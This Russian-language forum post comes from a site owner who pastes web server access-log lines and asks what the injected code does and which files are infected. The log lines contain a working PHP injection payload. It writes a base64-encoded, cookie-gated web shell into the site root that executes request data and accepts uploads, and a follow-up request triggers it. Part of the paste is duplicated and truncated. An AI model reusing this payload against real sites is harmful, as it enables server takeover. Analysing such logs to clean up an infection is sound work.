[CODE]150.241.91.213 - - [17/Feb/2025:09:56:46 +0300] "GET /ajax/js_error.php?data=%3C?php%20file_put_contents($_SERVER[%22DOCUMENT_ROOT%22].%22/f4381c28a0cd.php%22,base64_decode(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pP T0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzM lwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzX DE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiI jtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT 1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJce DY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4N mRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0M VwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E HTTP/1.0" 404 140738 "/ajax/error_log_logic.php?data=%3C?php%20file_put_contents($_SERVER[%22DOCUMENT_ROOT%22].%22/f4381c28a0cd.php%22,base64_decode(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pP T0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzM lwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzX DE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiI jtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT 1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJce DY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4N mRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0M VwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2956.10 Safari/537.36"
150.241.91.213 - - [17/Feb/2025:09:56:46 +0300] "GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt HTTP/1.0" 200 2 "/ajax/js_error.php?data=%3C?php%20file_put_contents($_SERVER[%22DOCUMENT_ROOT%22].%22/f4381c28a0cd.php%22,base64_decode(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pP T0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzM lwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzX DE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiI jtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT 1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJce DY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4N mRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0M VwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2956.10 Safari/537.36"
150.241.91.213 - - [17/Feb/2025:09:56:48 +0300] "GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt HTTP/1.0" 200 135417 "/ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2956.10 Safari/537.36"
15[/CODE]кто может разобраться что делает код который получается.. и как понять какие файлы заразились? Обнаружил кучу файлов разных и в cron вирус и демон был даже...
150.241.91.213 - - [17/Feb/2025:09:56:46 +0300] "GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt HTTP/1.0" 200 2 "/ajax/js_error.php?data=%3C?php%20file_put_contents($_SERVER[%22DOCUMENT_ROOT%22].%22/f4381c28a0cd.php%22,base64_decode(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pP
150.241.91.213 - - [17/Feb/2025:09:56:48 +0300] "GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt HTTP/1.0" 200 135417 "/ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2956.10 Safari/537.36"
15[/CODE]кто может разобраться что делает код который получается.. и как понять какие файлы заразились? Обнаружил кучу файлов разных и в cron вирус и демон был даже...